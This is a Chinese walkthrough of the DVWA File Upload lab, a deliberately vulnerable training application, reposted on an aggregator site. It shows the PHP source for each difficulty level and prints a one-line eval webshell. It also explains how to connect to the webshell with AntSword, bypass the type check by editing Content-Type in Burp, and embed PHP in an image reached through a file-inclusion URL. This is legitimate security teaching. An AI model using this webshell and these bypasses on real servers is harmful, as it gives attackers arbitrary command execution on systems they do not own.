网络安全 DVWA通关指南 DVWA File Upload(文件上传)

DVWA File Upload(文件上传)

文章目录

  • DVWA File Upload(文件上传)
    • 修复建议
  • Low
  • Medium
  • High
  • Impossible

修复建议

1、使用白名单限制可以上传的文件扩展名

2、注意0x00截断攻击(PHP更新到最新版本)

3、对上传后的文件统一随机命名,不允许用户控制扩展名

4、上传文件的存储目录禁用执行权限

Low

1、分析网页源代码

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}
}?><?php
// 检查是否接收到表单提交的“Upload”按钮
if( isset( $_POST[ 'Upload' ] ) ) {// 定义目标文件夹路径,这里假设DVWA_WEB_PAGE_TO_ROOT是一个预定义常量,指向网站根目录$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// 获取上传文件的原始名称,并将其附加到目标路径上,以构建完整的文件存储路径$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// 使用PHP内置函数move_uploaded_file尝试将临时文件移动到目标路径if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// 如果文件未成功移动(例如,由于权限问题或文件大小超出限制等),输出错误信息$html .= '<pre>Your image was not uploaded.</pre>';}else {// 文件成功上传至指定位置,输出成功信息$html .= "<pre>{$target_path} successfully uploaded!</pre>";}
}// 注解:
// 上述代码实现了一个简单的文件上传功能,但缺少必要的安全验证,如文件类型检查、文件大小限制以及防止文件名注入攻击等。
// 在实际生产环境中,应在将文件移动到目标路径之前,添加详细的验证和清理步骤以确保上传行为的安全性。
?>

2、Low级别没有对上传的文件进行任何限制,我们可以直接上传一句话木马,然后使用中国蚁剑连接。

<?php @eval($_POST['attack']) ?>

image-20240511103716434

使用蚁剑连接一句话木马

  1. 启动AntSword应用后,在界面的任意空白区域点击鼠标右键,这时会出现一个菜单。在弹出的菜单中,选择「添加数据」选项。屏幕截图 2024-05-11 104500
  2. 进入到添加数据的页面,根据屏幕提示填写所需的信息。确保每一项必填内容都已正确无误地填写完毕,点击「测试连接」按钮,检查连接是否成功。屏幕截图 2024-05-11 104740
  3. 填写完成后,点击页面中的「添加」按钮,这时候你刚刚输入的信息会被保存为一个新的Shell条目,并能在数据管理列表中看到它。image-20240511105111468
  4. 接下来,双击这个新添加的Shell条目,系统将带你进入该Shell对应的文件管理界面,从而可以进一步操作和管理相关文件。image-20240511104222952

连接木马成功后,直接获取Webshell,可以在服务器上进行任意操作。

Medium

1、分析网页源代码

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?><?php// 检查是否设置了 'Upload' POST 参数,这通常意味着文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {// 设置目标上传路径,结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads目录下$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// 使用原始文件名构建完整的文件保存路径$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// 获取上传文件的信息$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];      // 文件名$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];      // 文件类型(MIME类型)$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];      // 文件大小// 检查文件是否为允许的图像格式(JPEG或PNG)且文件大小小于100KBif( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {// 尝试将上传的临时文件移动到指定的目标路径if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// 如果文件无法移动(可能是权限问题或路径错误),输出错误信息$html .= '<pre>Your image was not uploaded.</pre>';}else {// 文件成功上传,输出成功信息及上传后的文件路径$html .= "<pre>{$target_path} successfully uploaded!</pre>";}}else {// 如果文件不是允许的类型或超过大小限制,输出错误信息$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

Medium级别限制上传文件类型只能为JPEG或PNG,同时限制文件大小不能超过100KB。这个时候再上传一句话木马,会提示上传失败。

image-20240511110718455

2、使用Burp Suite抓取一句话木马文件上传的包,发现上传的PHP文件类型在包里。

image-20240511111423759

修改1.php文件的文件类型为“image/png”,然后Foward。

Content-Type: image/png; 

image-20240511111909483

虽然我们上传的文件是PHP文件,但还是可以通过修改网页HTTP报文中文件类型,来绕过网页白名单检查。

image-20240511111924303

High

1、分析网页源代码

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?><?php// 检查是否设置了 'Upload' POST 参数,表明文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {// 设置文件上传的目标目录,结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads文件夹$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// 从上传文件名中提取文件的基本名称,包括其扩展名,用于构建完整的目标文件路径$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// 获取上传文件的详细信息$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];       // 原始文件名$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // 文件扩展名,通过查找最后一个点的位置来提取$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];       // 文件大小(字节)$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    // 上传文件的临时存储路径// 检查文件扩展名是否为允许的图像格式(不区分大小写),文件大小是否小于100KB,并确认是有效的图像文件if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) { // 使用getimagesize()确保文件是可识别的图像// 尝试将上传的临时文件移动到指定的目标路径if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// 如果文件未能成功移动(可能因权限问题或路径错误),输出错误信息$html .= '<pre>Your image was not uploaded.</pre>';}else {// 文件成功上传,输出包含文件路径的成功信息$html .= "<pre>{$target_path} successfully uploaded!</pre>";}}else {// 如果文件扩展名不符、过大或不是有效的图像文件,输出错误信息$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

getimagesize()函数,用于获取图像文件的大小以及相关信息。该函数会检查图片文件头,如果不存在或不是一个有效的图像文件则报错。

1、我们可以准备一张图片和一句话木马的文件,通过copy命令将两个文件合并成一个文件。

image-20240623155013786

copy muma.png/b + muma.php/a 1.png

屏幕截图 2024-06-23 155102

image-20240623155320667

文件上传成功

image-20240623155452622

2、但此时2.jpg是个图像文件,无法使用蚁剑连接。我们需要将2.jpg作为php文件执行,使用文件包含漏洞( File Inclusion),构造payload。

http://dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA-master\hackable\uploads\1.png

image-20240623155359236

Impossible

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// No$html .= '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/52571.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

出口MID电能表到欧洲市场

出口MID电能表到欧洲市场&#xff01; 浙江永泰隆电子有限公司在研发和将MID能量计出口到欧盟市场方面具有丰富的经验。以下是突显该公司专业性的概述&#xff1a; 公司概况&#xff1a; 浙江永泰隆电子有限公司是一家专注于先进能量测量解决方案的制造商&#xff0c;特别是…

【栈】| 力扣高频题: 有效的括号

&#x1f397;️ 主页&#xff1a;小夜时雨 &#x1f397;️专栏&#xff1a;算法题 &#x1f397;️如何活着&#xff0c;是我找寻的方向 目录 1. 题目解析2. 代码 1. 题目解析 题目链接: 力扣20&#xff1a;https://leetcode.cn/problems/valid-parentheses/description/ 本…

linux系统中USB模块基本原理分析

大家好,今天主要给大家分享一下,USB设备的发展历程。 第一:USB发展变化 随着时代的发展,USB模块也随之不断的升级。 USB1.1:规范了USB低全速传输; USB2.0:规范了USB高速传输,采用NRZI(反向不归零)编码(NRZI采用8bit编码方式),位填充(在数据进行NRZI编码前…

虚幻5|制作玩家血量,体力(还未编辑,只用于引用)

未编写&#xff0c;仅引用 优化后&#xff1a; 把增加生命&#xff0c;减少生命&#xff0c;也可以用在体力里&#xff0c;更改如下 限制浮点&#xff0c;如果血量或体力按10来扣&#xff0c;如果你的血量降低到5&#xff0c;那么就会以5的数值来扣&#xff0c;而不会扣成-5…

es 7.17.23安装ik插件启动失败,access denied,Permission

情况简述 windows平台&#xff0c;下载了7.17.23的es以及7.17.23的ik分词器的zip包之后&#xff08; 下载地址&#xff08;官方推荐的&#xff09;&#xff1a;Index of: analysis-ik/stable/ &#xff09;&#xff0c;解压该ik的包到es的plugins下&#xff0c;目录结构&…

Webpack中的 HTTP 压缩

http压缩介绍 http压缩&#xff0c;是指一种内置在服务器和客户端之间改进传输速度和带宽利用率的方式。 http 压缩的流程&#xff1a; http 数据在服务器发送前&#xff0c;通过 webpack配置进行压缩&#xff1b;兼容的浏览器在向服务器发送请求时&#xff0c;在请求头中会…

删除Vue2残留配置文件解决异常:Cannot find module ‘@vue/babel-plugin-transform-vue-jsx‘

背景 完成Vue2代码升级为Vue3后&#xff0c;将新代码上传至代码库。在修改源代码库代码后&#xff0c;启动项目&#xff0c;提示&#xff1a;Cannot find module ‘vue/babel-plugin-transform-vue-jsx‘&#xff0c;尝试安装该第三方库后仍然无效。 解决方案&#xff1a; 删…

带你快速了解WEB应用服务器TOMCAT

目录 一、WEB技术 1.1 HTTP协议和B/S 结构 1.2 前端三大核心技术 1.2.1 HTML 1.2.2 CSS&#xff08;Cascading Style Sheets&#xff09;层叠样式表 1.2.3 JavaScript 二 WEB框架 2.1 web资源和访问 2.2 后台应用架构 2.2.1 单体架构 2.2.2 微服务 2.2.3 单体架构和…

QtCreator错误:Qt没有被正确安装,请运行make install(适用Qt4、Qt5、Qt6)

一、问题环境 &#xff08;1&#xff09;Windows 10企业版&#xff0c;64位 &#xff08;2&#xff09;Visual Studio 2019 &#xff08;3&#xff09;Qt5.12.12 x64版本&#xff08;自己编译&#xff09; &#xff08;4&#xff09;Qt Creator 12.0.1 二、问题描述&#…

使用CORS解决跨域问题

CORS&#xff08;Cross-Origin Resource Sharing&#xff09;跨域资源共享 因为浏览器的同源策略才出现了跨域问题。 CORS是一套机制&#xff0c;用于浏览器校验跨域请求。 它的基本理念是&#xff1a; 只要服务器明确表示允许&#xff0c;则校验通过服务器明确拒绝或没有表…

NAT网关产品手册

产品用途 SG-NAT-410 网关支持 IP 地址跨网段和通讯端口的转换&#xff0c;为不方便修改参数的以太网通讯设备的信息化联网提供便捷的解决方案。网关有 1 个两口以太网交换机接口(LAN 口 ) 和 1 个单口以太网通讯接口 (WAN 口 ) 。不对原系统做任何硬件和软件修改&…

秃姐学AI系列之:批量归一化 + 代码实现

目录 批量归一化 核心想法 批归一化在做什么 总结 代码实现 从零实现 创建一个正确的BatchNorm层 应用BatchNorm于LeNet模型 简单实现 QA 批量归一化 训练深层神经网络是十分困难的&#xff0c;特别是在较短的时间内使他们收敛更加棘手。 因为数据在网络最开始&…

OpenHarmony中的fastjson gson应该这样用

【问题背景】 随着越来越多的开发者开始投入北向应用的开发&#xff0c;无数的人开始问我&#xff1a;鸿蒙三方库是否有fastjson&#xff0c;是否有gson&#xff0c;当前json和对象的转换要怎么搞。 作为程序员&#xff0c;我的每个项目都逃不掉fastjson/gson等三方库&#x…

六西格玛培训真相曝光:识别并避免这些常见陷阱!

在当今企业管理领域&#xff0c;六西格玛作为提升质量与效率的强大工具&#xff0c;其影响力日益增强&#xff0c;但伴随其普及的浪潮&#xff0c;一系列培训陷阱也悄然浮现&#xff0c;成为求学者路上的隐形障碍。作为深耕企业咨询领域的专家&#xff0c;张驰咨询特此为您揭秘…

FPGA在医疗方面的应用

可编程逻辑支持以灵活、低风险的方式成功实施系统设计&#xff0c;同时提供了最佳的成本效率和增值的差异化功能&#xff0c;延长了医疗保健应用的生命周期&#xff0c;包括诊断成像、电子医疗、治疗和生命科学与医院设备。 在医疗方面的应用非常广泛&#xff0c;以下是几个主…

【Prettier】代码格式化工具Prettier的使用和配置介绍

前言 前段时间&#xff0c;因为项目的prettier的配置和eslint格式检查有些冲突&#xff0c;在其prettier官网和百度了一些配置相关的资料&#xff0c;在此做一些总结&#xff0c;以备不时之需。 Prettier官网 Prettier Prettier 是一种前端代码格式化工具&#xff0c;支持ja…

SQL Server数据库 创建表,和表的增删改查

打开SQL Server工具,连接服务器 右击数据库&#xff0c;创建新的数据库 新建表 填写列&#xff0c;我添加了Id,Name,Sex,Age,和class列 右键表刷新一下就有了 我又同时创建了一个Class表 点击新建查询&#xff0c;现在写代码添加数据&#xff0c;也可以操作表来对数据进行添加 …

黑马JavaWeb企业级开发(知识清单DAY2完结)06——Vue(概述、指令、生命周期)

文章目录 前言一、Vue概述1. MVVM前端开发思想2. 框架是什么3. Vue介绍4. Vue快速入门 二、Vue常用指令三、Vue生命周期总结 前言 本篇文章是2023年最新黑马JavaWeb企业级开发&#xff08;知识清单DAY2完结&#xff09;06&#xff1a;Vue&#xff08;概述、指令、生命周期&…

设计模式篇(DesignPattern - 创建型模式)

目录 模式一&#xff1a;单例模式 一、简介 二、种类 1. 饿汉式(静态常量&#xff09; 1.1. 代码 1.2. 优缺点 2. 饿汉式&#xff08;静态代码块&#xff09; 2.1. 代码 2.2. 优缺点 3. 懒汉式(线程不安全) 3.1. 代码 3.2. 优缺点 4. 懒汉式(线程安全&#xff0c;…

GeoStudio2024:地质工程的瑰宝下载安装介绍

引言 青山隐隐&#xff0c;流水潺潺&#xff0c;吾心所向&#xff0c;乃地质之奥秘。GeoStudio2024&#xff0c;如同一卷古籍&#xff0c;蕴藏无尽智慧&#xff0c;助吾等探寻地质之真谛。今以李白之笔&#xff0c;述其妙用&#xff0c;愿与君共赏。 初识GeoStudio2024 初见…